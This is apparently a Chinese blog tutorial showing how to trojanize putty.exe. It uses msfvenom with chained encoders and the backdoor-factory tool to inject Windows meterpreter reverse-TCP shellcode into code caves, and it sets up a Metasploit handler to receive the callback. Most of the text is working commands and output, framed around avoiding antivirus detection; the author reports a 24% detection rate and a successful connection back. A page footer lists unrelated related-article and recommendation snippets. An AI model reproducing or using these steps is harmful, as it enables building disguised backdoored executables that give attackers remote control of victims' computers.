backdoor-factory 顾名思义,直接翻译过来就是后门工厂的意思。其利用打补丁的方式编码加密PE文件,可以轻松的生成win32PE后门程序,从而帮助我们绕过一些防病毒软件的查杀,达到一定得免杀效果,利用该工具,攻击者可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。

在教程开始之前,我们先来思考一个问题,这个代码裂痕是如何产生的?

一般在X86 系列的CPU 中,每次读取一页的数据,x86处理器中页是按4KB(1000h)来排列的;而在IA-64 上,是按8KB(2000h)来排列的。所以在X86 系统中,PE文件区块的内存对齐值一般等于 1000h,也就是4KB,每个区块按1000h 的倍数在内存中存放。

通常情况下硬盘被格式化时默认对其就是4kb,但在硬盘中存放的文件是紧密排列的,为了能让CPU认识这些指令,需要对硬盘中的程序进行扩展,也就是保证其4KB的对其方式,那么有些指令本身并没有占用4KB的空间,这些指令会被垫片字节所取代,这也就是代码中的缝隙,我们可以借助这些缝隙来进行插入恶意代码。

通过 msfvenom 打乱编码

1.我们可以使用如下命令,将 putty.exe 与后门程序合二为一,变成 shell.exe 但这种方式很容易被杀。

root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 \
> -x putty.exe -k -f exe > shell.exe root@kali:~# ls -lh
total 2.5M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

2.通过简单地 shikata_ga_nai 编码器,将ShellCode编码迭代打乱20次,然后生成 shell1.exe文件,此马的报毒率明显变低了。

root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=8888 \
> -e x86/shikata_ga_nai -i 20 \
> -x putty.exe -k -f exe > shell1.exe root@kali:~# ls -lh
total 3.8M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

3.然而上方的处理方式还是不理想,我们通过使用管道让 msfvenom 对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着继续20次的alpha_upper编码,再来5次的countdown编码,最后才生成shell3.exe的可执行文件。

root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -b '\x00\x0b' \
> -e x86/shikata_ga_nai -i 10 LHOST=192.168.1.30 LPORT=8888 -f raw | \
> msfvenom -a x86 --platform windows -e x86/alpha_upper -i 20 -f raw | \
> msfvenom -a x86 --platform windows -e x86/countdown -i 5 \
> -x putty.exe -f exe > shell3.exe root@kali:~# ls -lh
total 4.9M
-rw-r--r-- 1 root root 1.1M Aug 12 02:28 putty.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:44 shell1.exe
-rw-r--r-- 1 root root 1.1M Aug 12 02:55 shell3.exe
-rw-r--r-- 1 root root 1.4M Aug 12 02:36 shell.exe

通过 backdoor 注入代码

接下来将使用Backdoor向Putty这个程序中注入一段ShellCode代码,需要注意的是Kali中有一个坑,其系统中自带的backdoor-factory并不能识别可执行文件,如下情况!

root@kali:~# backdoor-factory -f putty.exe
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/ Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory Version: 3.4.2 [*] In the backdoor module
[*] Checking if binary is supported
putty.exe not a PE File

后来经过摸索,总算爬出来了,你需要自己下载这个程序,并安装一个pip依赖,麻蛋的!

root@kali:~#  wget https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
root@kali:~# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
root@kali:~# sudo pip install capstone

1.通过使用 backdoor -f putty.exe -S 命令,检测Putty.exe 是否支持注入代码。 -f:指定测试程序 -S:检查该程序是否支持注入

root@kali:~/backdoor# python backdoor.py --file=/root/putty.exe --support_check
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/ Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory Version: 3.4.2 [*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
/root/putty.exe is supported.

2.上方的结果显示,该文件支持注入ShellCode,在确定其支持后,运行如下命令检查裂痕大小,如下可看出裂痕大小不小于300

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -c -l 300
____ ____ ______ __
/ __ )/ __ \/ ____/___ ______/ /_____ _______ __
/ __ / / / / /_ / __ `/ ___/ __/ __ \/ ___/ / / /
/ /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / / / /_/ /
/_____/_____/_/ \__,_/\___/\__/\____/_/ \__, /
/____/ Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory Version: 3.4.2 [*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
Looking for caves with a size of 300 bytes (measured as an integer
[*] Looking for caves
No section
->Begin Cave 0x288
->End of Cave 0x400
Size of Cave (int) 376 // 可填充的空间大小

3.确定了可以注入以后,我们们接着使用show参数,查看其支持注入的ShellCode类型,如下结果所示。

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe show

         Author:    Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory Version: 3.4.2 [*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
cave_miner_inline
iat_reverse_tcp_inline
iat_reverse_tcp_inline_threaded
iat_reverse_tcp_stager_threaded
iat_user_supplied_shellcode_threaded
meterpreter_reverse_https_threaded
reverse_shell_tcp_inline
reverse_tcp_stager_threaded
user_supplied_shellcode_threaded

4.这里我们选择 iat_reverse_tcp_stager_threaded 这个反向连接的Shell并注入到Putty.exe中,参数中 -s=指定Shell,-H 指定攻击主机IP,-P 指定端口号。

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded \
> -H 192.168.1.40 -P 8888 [*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Adding New Section for updated Import Table
[!] Adding VirtualAlloc Thunk in new IAT
[*] Gathering file info

回车执行后,我们可以看到以下界面。这里要求我们选择 code cave ,提示我们要注入到那个区段,这里我就选择2注入到rsrc区段。

############################################################
[*] Cave 1 length as int: 453
[*] Available caves:
1. Section Name: .00cfg; Section Begin: 0xb5000 End: 0xb5200; Cave begin: 0xb5007 End: 0xb51fc; Cave Size: 501
2. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb927a End: 0xb993b; Cave Size: 1729
3. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xb99b5 End: 0xba956; Cave Size: 4001
4. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0xbaa64 End: 0xbba17; Cave Size: 4019
5. Section Name: .rsrc; Section Begin: 0xb5400 End: 0x100600; Cave begin: 0x100423 End: 0x1005fd; Cave Size: 474
**************************************************
[!] Enter your selection: 2
[!] Using selection: 2
[*] Changing flags for section: .rsrc
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File putty.exe is in the 'backdoored' directory

默认情况下,会将制作好的文件放到 backdoored 这个文件中。

root@kali:~/backdoor/backdoored# ls -lh
总用量 1.1M
-rw-r--r-- 1 root root 1.1M 8月 12 11:52 putty.exe

制作完成后,我们去扫描一下。检出率只有 24% 还算不错。

5.回到攻击主机,启动MSF控制台,我们配置好侦听端口,然后运行Putty.exe 程序看能否正常上线。

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.40
lhost => 192.168.1.40
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.1.40:8888
msf5 exploit(multi/handler) >

成功上线!

以上 patch 方式属于单代码裂缝的注入,为了取得更好的免杀效果,我们还可以使用 多代码裂缝的方式进行注入,参数如下!

root@kali:~/backdoor# python backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded \
> -H 192.168.1.40 -P 8888 -J

由于是将代码打乱插入到了程序中,过程中需要多次选择要插入的区段,为了避免报错,尽量选择大一点的区段插入数据。

使用 backdoor 工具注入ShellCode的更多相关文章

  1. Windows x86 x64使用SetThreadContext注入shellcode的方式加载DLL

    一.前言 注入DLL的方式有很多,在R3就有远程线程CreateRemoteThread.SetWindowsHookEx.QueueUserApc.SetThreadContext 在R0可以使用a ...

  2. 20145203盖泽双《网络对抗技术》拓展:注入:shellcode及return-into-libc攻击

    20145203盖泽双<网络对抗技术>拓展:注入:shellcode及return-into-libc攻击 一.注入:shellcode 1.编写一段用于获取Shellcode的C语言代码 ...

  3. 注入Shellcode并运行攻击

    注入Shellcode并运行攻击 一.实验步骤 1.安装execstack并修改设置 安装execstack apt-get install execstack 设置堆栈可执行 execstack - ...

  4. 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结

    20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...

  5. 20145320《网络对抗》注入Shellcode并执行

    20145320注入Shellcode并执行 准备一段Shellcode 首先先准备一段C语言代码:这段代码其实和我们的shell功能基本一样 为了之后能够看到反汇编的结果,这次采用的静态编译.正常返 ...

  6. 逆向与BOF基础——注入shellcode并执行&Return-to-libc

    逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...

  7. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  8. 20145318《网络对抗》注入shellcode及Return-to-libc

    20145318<网络对抗>注入shellcode及Return-to-libc 注入shellcode 知识点 注入shellcodeShellcode实际是一段代码(也可以是填充数据) ...

  9. 20145327《网络对抗》——注入shellcode并执行和Return-to-libc攻击深入

    20145327<网络对抗>--注入shellcode并执行 准备一段Shellcode 老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 ...

随机推荐

  1. struts2方法无法映射问题:There is no Action mapped for namespace [/] and action name [m_hi] associated with context path []

    使用struts的都知道,下面使用通配符定义的方式很常见,并且使用也很方便: <action name="Crud_*" class="example.Crud&q ...

  2. 字符串匹配(KMP&BF)

    字符串匹配   题目描述 设计一个程序,从一个主字符串中查找一个子字符串在主串中第一次出现的位置.主串和子串的长度不超过100.如果找不到,则输出-1. 程序输入说明 第一行输入一个整数N,说明需要进 ...

  3. nodejs 服务器模拟异常状态码429,以及前端vue axios捕获状态码

    nodejs 服务端发送429状态: extendInfo (req, res) { res.status(429).json('Too many requests, please try again ...

  4. the requested PHP extension dom is missing from your system

    composer  出错 the requested PHP extension dom is missing from your system 解决办法    yum install  php70w ...

  5. Linux中查看系统资源占用情况的命令

    用 'top -i' 看看有多少进程处于 Running 状态,可能系统存在内存或 I/O 瓶颈,用 free 看看系统内存使用情况,swap 是否被占用很多,用 iostat 看看 I/O 负载情况 ...

  6. Eclipse的下载地址

    下载地址:http://eclipse.org/

  7. CSS3常用属性及效果汇总

    本文转载于<https://blog.csdn.net/lyznice/article/details/54575905> 一.2D效果属性 要使用这些属性,我们需要通过 transfor ...

  8. realsense数据分析

    line: (434,300) (453,144) (0,0,0),(-0.926698,-1.25853,2.032) 0.781452 ------------------------------ ...

  9. MR21修改标准价

    转自:https://blog.csdn.net/qq_21813647/article/details/79195731 物料帐下只有物料的状态是初始状态才允许修改价格. 如果状态为已输入数量和值也 ...

  10. Oracle关联删除的几种方式

    不多说了,我们来做实验吧. 创建如下表数据 select * from t1 ; select * from t2; 现需求:参照T2表,修改T1表,修改条件为两表的fname列内容一致. 方式1,u ...